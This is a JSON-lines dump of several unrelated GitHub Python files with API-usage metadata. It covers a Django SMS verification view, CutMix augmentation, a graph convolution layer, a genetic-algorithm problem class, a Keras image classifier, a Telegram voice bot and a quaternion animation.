request.GET.get('uuid')\r\n image_code_client = request.GET.get('image_code')\r\n if not all([uuid, image_code_client]):\r\n return http.HttpResponseForbidden('缺少必传参数')\r\n # 提取图形验证码\r\n redis_conn = get_redis_connection('verify_code')\r\n # 判断用户是否频繁发送短信验证码\r\n send_flag = redis_conn.get(f'send_flag_{mobile}')\r\n if send_flag:\r\n return http.JsonResponse({'code': RETCODE.THROTTLINGERR, 'errmsg': '发送短信过于频繁'})\r\n\r\n image_code_server = redis_conn.get(f'img_{uuid}')\r\n # 提取图形验证码失效\r\n if image_code_server is None:\r\n return http.JsonResponse({'code': RETCODE.IMAGECODEERR, 'errmsg': '图形验证码失效'})\r\n # 删除图形验证码\r\n redis_conn.delete(f'img_{uuid}')\r\n # 对比图形验证码\r\n # image_code_server 字节 image_code_client 字符串 需要解码 然后统一转换成小写\r\n image_code_server = image_code_server.decode()\r\n if image_code_server.lower() != image_code_client.lower():\r\n return http.JsonResponse({'code': RETCODE.IMAGECODEERR, 'errmsg': '输入图形验证码有误'})\r\n # 生成短信验证码\r\n # 生成6位随机数\r\n\r\n sms_code = '%06d' % random.randint(0, 999999)\r\n # # 保存短信验证码\r\n # redis_conn.setex(f'sms_{mobile}', constants.SMS_CODE_REDIS_EXPIRES, sms_code)\r\n # # 保存发送短信验证码的标记\r\n # redis_conn.setex(f'send_flag_{mobile}', constants.SEND_SMS_CODE_TIMES, 1)\r\n\r\n # 　创建redis管道\r\n pl = redis_conn.pipeline()\r\n # 　将命令添加到队列中\r\n # 保存短信验证码\r\n pl.setex(f'sms_{mobile}', constants.SMS_CODE_REDIS_EXPIRES, sms_code)\r\n # 保存发送短信验证码的标记\r\n pl.setex(f'send_flag_{mobile}', constants.SEND_SMS_CODE_TIMES, 1)\r\n # 执行管道中的命令\r\n pl.execute()\r\n\r\n # 发送短信 实例化调用方法 都是字符串数据类型 300/60 float 300//60 int\r\n # 同步发送短信\r\n # CCP().send_message(str(mobile), (str(sms_code), str(constants.SMS_CODE_REDIS_EXPIRES // 60)),\r\n # constants.SEND_SMS_TEMPLATE_TD)\r\n # 异步发送短信\r\n # send_sms_code(str(mobile), str(sms_code)) 错误的写法\r\n # 调用celery发送短信 需要加上delay\r\n send_sms_code.delay(str(mobile), str(sms_code))\r\n # 响应结果\r\n return http.JsonResponse({'code': RETCODE.OK, 'errmsg': '发送短信验证码成功'})\r\n", "repo_name": "cxcx0330/logicShop", "sub_path": "logicshop/apps/verifications/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4097, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.views.View", "line_number": 15, "usage_type": "name"}, {"api_name": "libs.captcha.captcha.captcha.generate_captcha", "line_number": 26, "usage_type": "call"}, {"api_name": "libs.captcha.captcha.captcha", "line_number": 26, "usage_type": "name"}, {"api_name": "django_redis.get_redis_connection", "line_number": 30, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 35, "usage_type": "call"}, {"api_name": "django.http", "line_number": 35, "usage_type": "name"}, {"api_name": "django.views.View", "line_number": 38, "usage_type": "name"}, {"api_name": "django.http.HttpResponseForbidden", "line_number": 52, "usage_type": "call"}, {"api_name": "django.http", "line_number": 52, "usage_type": "name"}, {"api_name": "django_redis.get_redis_connection", "line_number": 54, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 58, "usage_type": "call"}, {"api_name": "django.http", "line_number": 58, "usage_type": "name"}, {"api_name": "utils.response_code.RETCODE.THROTTLINGERR", "line_number": 58, "usage_type": "attribute"}, {"api_name": "utils.response_code.RETCODE", "line_number": 58, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 63, "usage_type": "call"}, {"api_name": "django.http", "line_number": 63, "usage_type": "name"}, {"api_name": "utils.response_code.RETCODE.IMAGECODEERR", "line_number": 63, "usage_type": "attribute"}, {"api_name": "utils.response_code.RETCODE", "line_number": 63, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 70, "usage_type": "call"}, {"api_name": "django.http", "line_number": 70, "usage_type": "name"}, {"api_name": "utils.response_code.RETCODE.IMAGECODEERR", "line_number": 70, "usage_type": "attribute"}, {"api_name": "utils.response_code.RETCODE", "line_number": 70, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 74, "usage_type": "call"}, {"api_name": "celery_tasks.sms.tasks.send_sms_code.delay", "line_number": 97, "usage_type": "call"}, {"api_name": "celery_tasks.sms.tasks.send_sms_code", "line_number": 97, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 99, "usage_type": "call"}, {"api_name": "django.http", "line_number": 99, "usage_type": "name"}, {"api_name": "utils.response_code.RETCODE.OK", "line_number": 99, "usage_type": "attribute"}, {"api_name": "utils.response_code.RETCODE", "line_number": 99, "usage_type": "name"}]} {"seq_id": "25501462907", "text": "import numpy as np\nimport scipy.stats as stats\n\n\ndef cutmix(self, images, labels):\n lmbda = stats.beta(1, 1).rvs(1)[0]\n H = images[0].size()[-2]\n W = images[0].size()[-1]\n cut_rat = np.sqrt(1 - lmbda)\n cut_w = np.int(W * cut_rat)\n cut_h = np.int(H * cut_rat)\n center_x = np.random.randint(W)\n center_y = np.random.randint(H)\n boundary_x1 = np.clip(center_x - cut_w // 2, 0, W)\n boundary_x2 = np.clip(center_x + cut_w // 2, 0, W)\n boundary_y1 = np.clip(center_y - cut_h // 2, 0, H)\n boundary_y2 = np.clip(center_y + cut_h // 2, 0, H)\n\n adjusted_lmbda = 1 - (\n (boundary_x2 - boundary_x1) * (boundary_y2 - boundary_y1)\n ) / (images.size(-1) * images.size(-2))\n\n random_idx = np.random.permutation(images.size(0))\n shuffled_labels = labels[random_idx]\n new_patches = images[\n random_idx, :, boundary_y1:boundary_y2, boundary_x1:boundary_x2\n ]\n images[:, :, boundary_y1:boundary_y2, boundary_x1:boundary_x2] = new_patches\n return images, shuffled_labels, adjusted_lmbda", "repo_name": "hobinkwak/CutMix_PyTorch", "sub_path": "utils/cutmix.py", "file_name": "cutmix.py", "file_ext": "py", "file_size_in_byte": 1039, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "scipy.stats.beta", "line_number": 6, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 6, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 12, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 13, "usage_type": "attribute"}, {"api_name": "numpy.clip", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.clip", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random.permutation", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 23, "usage_type": "attribute"}]} {"seq_id": "13590936462", "text": "# Author: llw\nimport torch as t\nfrom torch_geometric.nn import ChebConv as CBconv\n\n\nclass ChebConv(t.nn.Module):\n def __init__(self, in_channels, out_channels, K, cfg, bias=True):\n super(ChebConv, self).__init__()\n self.out_channels = out_channels\n self.conv_layer = CBconv(in_channels, out_channels, K, bias)\n self.conv_layer.weight = t.nn.Parameter(\n t.normal(mean=t.zeros(K, in_channels, out_channels).float(), std=cfg[\"init_cheb_std\"] * t.ones(K, in_channels, out_channels).float())\n )\n if bias:\n self.conv_layer.bias = t.nn.Parameter(\n t.normal(mean=t.zeros(out_channels).float(), std=cfg[\"init_cheb_std\"] * t.ones(out_channels).float())\n )\n else:\n self.conv_layer.register_parameter('bias', None)\n\n def forward(self, pts, edge_index):\n batch_size, num_pts, num_features = pts.shape\n out = t.rand(batch_size, num_pts, self.out_channels).cuda()\n for i in range(batch_size):\n out[i] = self.conv_layer(pts[i], edge_index[i])\n return out\n\n# class ChebConv(t.nn.Module):\n# def __init__(self, in_channels, out_channels, K, bias=True):\n# assert K > 0\n# super(ChebConv, self).__init__()\n# self.weight = t.nn.Parameter(\n# t.normal(mean=t.zeros(K, in_channels, out_channels).float(), std=cfg[\"init_cheb_std\"] * t.ones(K, in_channels, out_channels).float())\n# )\n# if bias:\n# self.bias = t.nn.Parameter(\n# t.normal(mean=t.zeros(out_channels).float(), std=cfg[\"init_cheb_std\"] * t.ones(out_channels).float())\n# )\n# else:\n# self.register_parameter('bias', None)\n# self.K = K\n#\n# def forward(self, pts, lap):\n# cheb_k_minus_2 = pts\n# out = t.matmul(cheb_k_minus_2, self.weight[0])\n# if self.K == 1:\n# return out\n# cheb_k_minus_1 = t.matmul(lap, pts)\n# out = out + t.matmul(cheb_k_minus_1, self.weight[1])\n# if self.K == 2:\n# return out\n# for k in range(2, self.K):\n# cheb_k = 2 * t.matmul(lap, cheb_k_minus_1) - cheb_k_minus_2\n# cheb_k_minus_2, cheb_k_minus_1 = cheb_k_minus_1, cheb_k\n# out = out + t.matmul(cheb_k_minus_1, self.weight[k])\n# out = out + self.bias\n# return out\n\n\n\n\nif __name__ == '__main__':\n ln_ = t.nn.SmoothL1Loss(reduce=False, size_average=False)\n ln = t.nn.SmoothL1Loss()\n a = t.randn(4, 5)\n b = t.randn(4, 5)\n loss_ = ln_(a, b)\n loss = ln(a, b)\n print(loss_, loss)\n\n\n\n", "repo_name": "leondelee/PointGCN", "sub_path": "model/cheb_conv.py", "file_name": "cheb_conv.py", "file_ext": "py", "file_size_in_byte": 2614, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.nn", "line_number": 6, "usage_type": "attribute"}, {"api_name": "torch_geometric.nn.ChebConv", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.normal", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.normal", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.rand", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn.SmoothL1Loss", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 63, "usage_type": "attribute"}, {"api_name": "torch.nn.SmoothL1Loss", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 64, "usage_type": "attribute"}, {"api_name": "torch.randn", "line_number": 65, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 66, "usage_type": "call"}]} {"seq_id": "7510291056", "text": "from common.individual import Individual\nimport random\nimport numpy as np\nfrom common.population import Population\nimport copy\n\n# Class that configures the problem\nclass Problem:\n\n def __init__(self,\n objectives,\n num_of_variables,\n variables_range,\n num_of_individuals,\n directions,\n num_of_generations,\n mutation,\n expand=True,\n discrete=False,\n knap=None,\n knap_unconstrained=None,\n muco_nonbinary=None):\n self.num_of_objectives = len(objectives)\n self.num_of_variables = num_of_variables\n self.num_of_individuals = num_of_individuals\n self.objectives = objectives\n self.expand = expand\n self.discrete = discrete\n self.variables_range = variables_range\n self.knap = knap\n self.directions = directions\n self.num_of_generations = num_of_generations\n self.variables = self.set_variables()\n self.mutation = mutation\n self.knap_unconstrained = knap_unconstrained\n self.muco_nonbinary = muco_nonbinary\n\n def set_variables(self):\n variables = [i for i in range(min(self.variables_range), max(self.variables_range) + 1)]\n return variables\n\n\n def create_initial_population(self):\n population = Population()\n for _ in range(self.num_of_individuals):\n individual = self.generate_individual()\n individual.id = _\n individual.trace = [_ for i in range(self.num_of_variables)]\n self.calculate_objectives(individual)\n self.repair(individual)\n population.append(individual)\n population.last_id = _\n return population\n\n\n def generate_individual(self):\n individual = Individual(self.directions)\n individual.features = [random.randint(min(self.variables_range), max(self.variables_range)) for x in range(self.num_of_variables)]\n return individual\n\n def repair(self, individual):\n try:\n if self.knap:\n while 0 in individual.objectives:\n self.knap.repair_infeasible(individual)\n self.calculate_objectives(individual)\n except Exception as ex:\n print(ex)\n\n\n def calculate_objectives(self, individual):\n if self.expand:\n individual.objectives = [f(*individual.features) for f in self.objectives]\n else:\n individual.objectives = [f(individual.features) for f in self.objectives]\n\n", "repo_name": "mbdemoraes/IEEE_RandomForestHyperParameters", "sub_path": "common/problem.py", "file_name": "problem.py", "file_ext": "py", "file_size_in_byte": 2623, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "common.population.Population", "line_number": 44, "usage_type": "call"}, {"api_name": "common.individual.Individual", "line_number": 57, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 58, "usage_type": "call"}]} {"seq_id": "1595984359", "text": "import numpy as np\nfrom itertools import chain\nfrom keras.applications.vgg16 import preprocess_input\nfrom keras.preprocessing import image\nfrom keras.models import load_model\nimport os\nimport tensorflow as tf\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\nfrom tensorflow.python.util import deprecation\ndeprecation._PRINT_DEPRECATION_WARNINGS = False\ntf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)\nimport cv2\n\n\nclass LogoClassification:\n def __init__(self):\n # self.class_names = ['backpack', 'earring', 'footwear', 'GirlsTop', 'glasses', 'Jacket', 'LadiesHandbag',\n # 'mensShorts', 'MensTopWear', 'saree', 'trousers', 'wallet', 'watch']\n # self.class_names = ['Apple', 'barcelona', 'CocaCola', 'ebay', 'ford', 'Google', 'kfc',\n # 'MacDonald', 'Mercedes', 'Nike', 'Shell', 'Starbucks']\n #self.class_names = ['Aeroplane', 'Auto', 'Bicycle', 'Bike', 'Boat', 'Bus', 'Car',\n # 'Scooty', 'Ship', 'Train', 'Truck']\n #self.class_names = ['rock', 'paper', 'scissor']\n self.class_names = ['Goggles','Hat','Jacket','Shirt','Shoes','Shorts','T-Shirt','Trouser','Wallet','Watch']\n self.model = load_model(\"models/fashion.h5\")\n\n def getPrediction(self, img):\n img = cv2.imread(img)\n dim = (224, 224)\n img = cv2.resize(img, dim, interpolation=cv2.INTER_AREA)\n x = image.img_to_array(img)\n x = np.expand_dims(x, axis=0)\n x = preprocess_input(x)\n preds = self.model.predict(x)\n print(preds)\n preds_unlist = list(chain(*preds))\n print(preds_unlist)\n preds_int = [int((round(i, 2))) for i in preds_unlist]\n print(preds_int)\n # self.final_pred_unused = dict(zip(self.class_names,self.preds_int))\n final_pred = dict(zip(self.class_names, preds_int))\n # finale = final_pred[1]\n print(100 * '-')\n print(final_pred)\n return final_pred\n", "repo_name": "dharmateja522/DS-Portfolio", "sub_path": "Fashion_Apparel_Classification/com_predict/predict.py", "file_name": "predict.py", "file_ext": "py", "file_size_in_byte": 1974, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.environ", "line_number": 8, "usage_type": "attribute"}, {"api_name": "tensorflow.python.util.deprecation._PRINT_DEPRECATION_WARNINGS", "line_number": 10, "usage_type": "attribute"}, {"api_name": "tensorflow.python.util.deprecation", "line_number": 10, "usage_type": "name"}, {"api_name": "tensorflow.compat.v1.logging.set_verbosity", "line_number": 11, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 11, "usage_type": "attribute"}, {"api_name": "keras.models.load_model", "line_number": 25, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.INTER_AREA", "line_number": 30, "usage_type": "attribute"}, {"api_name": "keras.preprocessing.image.img_to_array", "line_number": 31, "usage_type": "call"}, {"api_name": "keras.preprocessing.image", "line_number": 31, "usage_type": "name"}, {"api_name": "numpy.expand_dims", "line_number": 32, "usage_type": "call"}, {"api_name": "keras.applications.vgg16.preprocess_input", "line_number": 33, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 36, "usage_type": "call"}]} {"seq_id": "20081088699", "text": "import telebot\nfrom telebot import types\nimport uuid\nimport os \nimport speech_recognition as sr\n\nlanguage='ru_RU'\nbot = telebot.TeleBot(\"TOKEN\")\nr = sr.Recognizer()\n\ndef recognise(filename):\n with sr.AudioFile(filename) as source:\n audio_text = r.listen(source)\n try:\n text = r.recognize_google(audio_text, language=language)\n return text\n except:\n return \"Sorry.. run again...\"\n\ndef main_bot(msg, chatid):\n trig = True\n if 'селфи' in msg.lower():\n photofile = open('selfie.jpg', 'rb')\n bot.send_photo(chatid, photofile, 'Вид со смотровой площадки Центра семьи \"Казан\" в городе Казани')\n photofile.close()\n trig = False\n if 'школ' in msg.lower():\n photofile = open('school.jpg', 'rb')\n bot.send_photo(chatid, photofile)\n photofile.close()\n trig = False\n if 'gpt' in msg.lower() or 'чат' in msg.lower():\n voicefile = open('gpt.ogx', 'rb')\n bot.send_voice(chatid, voicefile)\n voicefile.close()\n trig = False\n if 'sql' in msg.lower() or 'эскьюэль' in msg.lower():\n voicefile = open('sql.ogx', 'rb')\n bot.send_voice(chatid, voicefile)\n voicefile.close()\n trig = False\n if 'любовь' in msg.lower():\n voicefile = open('flove.ogx', 'rb')\n bot.send_voice(chatid, voicefile)\n voicefile.close()\n trig = False\n if 'увлечение' in msg.lower():\n hobbymsg = open('hobby.txt', 'r', encoding='utf8').read()\n bot.send_message(chatid, hobbymsg)\n trig = False\n if trig: bot.send_message(chatid, \"Запрос не распознан! \\n Для справки используйте /help\")\n\n@bot.message_handler(commands=['start', 'help'])\ndef send_welcome(message):\n kb = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=2)\n btnselfie = types.KeyboardButton(text='Последнее селфи')\n btnschool = types.KeyboardButton(text='Школьное фото')\n btnhobby = types.KeyboardButton(text='Мое увлечение')\n btngpt = types.KeyboardButton(text='ChatGPT')\n btnsql = types.KeyboardButton(text='SQL vs NoSQL')\n btnflove = types.KeyboardButton(text='Первая любовь')\n kb.add(btnselfie, btnschool, btnhobby, btngpt, btnsql, btnflove)\n himsg = open('readme.md', 'r', encoding='utf8').read()\n bot.send_message(message.chat.id, himsg, reply_markup=kb)\n\n@bot.message_handler(commands=['source'])\ndef source(message):\n kbi = types.InlineKeyboardMarkup()\n btngit = types.InlineKeyboardButton(text='Github', url='https://github.com/itsybyrnyak/i_am_tsybyrnyak_bot.git')\n kbi.add(btngit)\n bot.send_message(message.chat.id, 'Исходный код:', reply_markup=kbi)\n\n@bot.message_handler(content_types=['voice'])\ndef voice_processing(message):\n filename = str(uuid.uuid4())\n file_name_full = \"voice/\" + filename + \".ogg\"\n file_name_full_converted = \"ready/\" + filename + \".wav\"\n file_info = bot.get_file(message.voice.file_id)\n downloaded_file = bot.download_file(file_info.file_path)\n with open(file_name_full, 'wb') as new_file:\n new_file.write(downloaded_file)\n os.system(\"ffmpeg -i \" + file_name_full + \" \" + file_name_full_converted)\n text = recognise(file_name_full_converted)\n main_bot(text, message.chat.id)\n os.remove(file_name_full)\n os.remove(file_name_full_converted)\n\n@bot.message_handler(func=lambda message: True)\ndef echo_all(message):\n main_bot(message.text, message.chat.id)\n\nbot.infinity_polling()\n", "repo_name": "itsybyrnyak/i_am_tsybyrnyak_bot", "sub_path": "i_am_tsybyrnyak_bot.py", "file_name": "i_am_tsybyrnyak_bot.py", "file_ext": "py", "file_size_in_byte": 3644, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "telebot.TeleBot", "line_number": 8, "usage_type": "call"}, {"api_name": "speech_recognition.Recognizer", "line_number": 9, "usage_type": "call"}, {"api_name": "speech_recognition.AudioFile", "line_number": 12, "usage_type": "call"}, {"api_name": "telebot.types.ReplyKeyboardMarkup", "line_number": 55, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 55, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 56, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 56, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 57, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 57, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 58, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 58, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 59, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 59, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 60, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 60, "usage_type": "name"}, {"api_name": "telebot.types.KeyboardButton", "line_number": 61, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 61, "usage_type": "name"}, {"api_name": "telebot.types.InlineKeyboardMarkup", "line_number": 68, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 68, "usage_type": "name"}, {"api_name": "telebot.types.InlineKeyboardButton", "line_number": 69, "usage_type": "call"}, {"api_name": "telebot.types", "line_number": 69, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 75, "usage_type": "call"}, {"api_name": "os.system", "line_number": 82, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 85, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 86, "usage_type": "call"}]} {"seq_id": "29749825640", "text": "import problem_1\nimport problem_2\nimport problem_3\nimport problem_4\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits import mplot3d\nimport numpy as np\nfrom matplotlib.animation import FuncAnimation\nimport matplotlib.animation as animation\n\n# Import data\ndataset = problem_4.dead_reckoning_yaw(alpha_tilt=0.05, alpha_yaw=0.0005)\n\n\nmy_dpi = 100\nfig = plt.figure(figsize=(1350 / my_dpi, 450 / my_dpi),\n dpi=my_dpi)\nax = [None, None, None]\n\nax[0] = fig.add_subplot(1, 3, 1, projection='3d')\nax[1] = fig.add_subplot(1, 3, 2, projection='3d')\nax[2] = fig.add_subplot(1, 3, 3, projection='3d')\n\nplt.tight_layout()\n\n\ndef frame_ani(frame):\n ax[0].cla()\n ax[1].cla()\n ax[2].cla()\n\n ax[0].set_xlabel('X Axis')\n ax[0].set_ylabel('Y Axis')\n ax[0].set_title('Gyroscope Filter')\n ax[1].set_xlabel('X Axis')\n ax[1].set_ylabel('Y Axis')\n ax[1].set_title('Gyro + Acc Drift Filter')\n ax[2].set_xlabel('X Axis')\n ax[2].set_ylabel('Y Axis')\n ax[2].set_title('Gyro + Acc + Mag Yaw Filter')\n\n ax[0].set_xlim3d(-0.6, 0.6)\n ax[0].set_ylim3d(-0.6, 0.6)\n ax[0].set_zlim3d(-0.6, 0.6)\n ax[1].set_xlim3d(-0.6, 0.6)\n ax[1].set_ylim3d(-0.6, 0.6)\n ax[1].set_zlim3d(-0.6, 0.6)\n ax[2].set_xlim3d(-0.6, 0.6)\n ax[2].set_ylim3d(-0.6, 0.6)\n ax[2].set_zlim3d(-0.6, 0.6)\n\n frameTick = dataset[frame]\n gyro = frameTick['est_gyro_q']\n gyro_tilt = frameTick['est_tilt_q']\n gyro_yaw = frameTick['est_yaw_q']\n\n # Quaternions multiplication\n Gx = problem_1.iv_quaternion_product(problem_1.iv_quaternion_product(\n gyro,\n (0, 1, 0, 0)),\n problem_1.iii_quaternion_inverse_rotation(gyro))\n Gy = problem_1.iv_quaternion_product(problem_1.iv_quaternion_product(\n gyro,\n (0, 0, 1, 0)),\n problem_1.iii_quaternion_inverse_rotation(gyro))\n Gz = problem_1.iv_quaternion_product(problem_1.iv_quaternion_product(\n gyro,\n (0, 0, 0, 1)),\n problem_1.iii_quaternion_inverse_rotation(gyro))\n\n Driftx = problem_1.iv_quaternion_product(problem_1.iv_quaternion_product(\n gyro_tilt,\n (0, 1, 0, 0)),\n problem_1.iii_quaternion_inverse_rotation(gyro_tilt))\n Drifty = problem_1.iv_quaternion_product(problem_1.iv_quaternion_product(\n gyro_tilt,\n (0, 0, 1, 0)),\n problem_1.iii_quaternion_inverse_rotation(gyro_tilt))\n Driftz = problem_1.iv_quaternion_product(problem_1.iv_quaternion_product(\n gyro_tilt,\n (0, 0, 0, 1)),\n problem_1.iii_quaternion_inverse_rotation(gyro_tilt))\n\n Yawx = problem_1.iv_quaternion_product(problem_1.iv_quaternion_product(\n gyro_yaw,\n (0, 1, 0, 0)),\n problem_1.iii_quaternion_inverse_rotation(gyro_tilt))\n Yawy = problem_1.iv_quaternion_product(problem_1.iv_quaternion_product(\n gyro_yaw,\n (0, 0, 1, 0)),\n problem_1.iii_quaternion_inverse_rotation(gyro_tilt))\n Yawz = problem_1.iv_quaternion_product(problem_1.iv_quaternion_product(\n gyro_yaw,\n (0, 0, 0, 1)),\n problem_1.iii_quaternion_inverse_rotation(gyro_tilt))\n\n # Render axes\n ax[0].quiver(0, 0, 0,\n *Gx[1:],\n length=1.0,\n normalize=True,\n arrow_length_ratio=0.05,\n colors=[(1, 0, 0)])\n ax[0].quiver(0, 0, 0,\n *Gy[1:],\n length=1.0,\n normalize=True,\n arrow_length_ratio=0.05,\n colors=[(0, 1, 0)])\n ax[0].quiver(0, 0, 0,\n *Gz[1:],\n length=1.0,\n normalize=True,\n arrow_length_ratio=0.05,\n colors=[(0, 0, 1)])\n\n ax[1].quiver(0, 0, 0,\n *Driftx[1:],\n length=1.0,\n normalize=True,\n arrow_length_ratio=0.05,\n colors=[(1, 0, 0)])\n ax[1].quiver(0, 0, 0,\n *Drifty[1:],\n length=1.0,\n normalize=True,\n arrow_length_ratio=0.05,\n colors=[(0, 1, 0)])\n ax[1].quiver(0, 0, 0,\n *Driftz[1:],\n length=1.0,\n normalize=True,\n arrow_length_ratio=0.05,\n colors=[(0, 0, 1)])\n\n ax[2].quiver(0, 0, 0,\n *Yawx[1:],\n length=1.0,\n normalize=True,\n arrow_length_ratio=0.05,\n colors=[(1, 0, 0)])\n ax[2].quiver(0, 0, 0,\n *Yawy[1:],\n length=1.0,\n normalize=True,\n arrow_length_ratio=0.05,\n colors=[(0, 1, 0)])\n ax[2].quiver(0, 0, 0,\n *Yawz[1:],\n length=1.0,\n normalize=True,\n arrow_length_ratio=0.05,\n colors=[(0, 0, 1)])\n\n\n# Render animation\nani = FuncAnimation(fig, frame_ani, frames=range(0, len(dataset), 8),\n blit=False)\n\n# Set up formatting for the movie files\nWriter = animation.writers['ffmpeg']\nfullspeed_writer = Writer(fps=32, metadata=dict(artist='Me'), bitrate=1200)\nhalfspeed_writer = Writer(fps=16, metadata=dict(artist='Me'), bitrate=1200)\n\nani.save('ani_fullspeed.mp4', writer=fullspeed_writer)\nani.save('ani_halfspeed.mp4', writer=halfspeed_writer)\n\n# frame_ani(4)\n# plt.savefig(\"ani.png\")\n", "repo_name": "alexstuckey/vr-y3", "sub_path": "problem_5_ani.py", "file_name": "problem_5_ani.py", "file_ext": "py", "file_size_in_byte": 5359, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "problem_4.dead_reckoning_yaw", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "problem_1.iv_quaternion_product", "line_number": 58, "usage_type": "call"}, {"api_name": "problem_1.iii_quaternion_inverse_rotation", "line_number": 61, "usage_type": "call"}, {"api_name": "problem_1.iv_quaternion_product", "line_number": 62, "usage_type": "call"}, {"api_name": "problem_1.iii_quaternion_inverse_rotation", "line_number": 65, "usage_type": "call"}, {"api_name": "problem_1.iv_quaternion_product", "line_number": 66, "usage_type": "call"}, {"api_name": "problem_1.iii_quaternion_inverse_rotation", "line_number": 69, "usage_type": "call"}, {"api_name": "problem_1.iv_quaternion_product", "line_number": 71, "usage_type": "call"}, {"api_name": "problem_1.iii_quaternion_inverse_rotation", "line_number": 74, "usage_type": "call"}, {"api_name": "problem_1.iv_quaternion_product", "line_number": 75, "usage_type": "call"}, {"api_name": "problem_1.iii_quaternion_inverse_rotation", "line_number": 78, "usage_type": "call"}, {"api_name": "problem_1.iv_quaternion_product", "line_number": 79, "usage_type": "call"}, {"api_name": "problem_1.iii_quaternion_inverse_rotation", "line_number": 82, "usage_type": "call"}, {"api_name": "problem_1.iv_quaternion_product", "line_number": 84, "usage_type": "call"}, {"api_name": "problem_1.iii_quaternion_inverse_rotation", "line_number": 87, "usage_type": "call"}, {"api_name": "problem_1.iv_quaternion_product", "line_number": 88, "usage_type": "call"}, {"api_name": "problem_1.iii_quaternion_inverse_rotation", "line_number": 91, "usage_type": "call"}, {"api_name": "problem_1.iv_quaternion_product", "line_number": 92, "usage_type": "call"}, {"api_name": "problem_1.iii_quaternion_inverse_rotation", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.animation.FuncAnimation", "line_number": 157, "usage_type": "call"}, {"api_name": "matplotlib.animation.writers", "line_number": 161, "usage_type": "attribute"}, {"api_name": "matplotlib.animation", "line_number": 161, "usage_type": "name"}]} {"seq_id": "30877914935", "text": "import 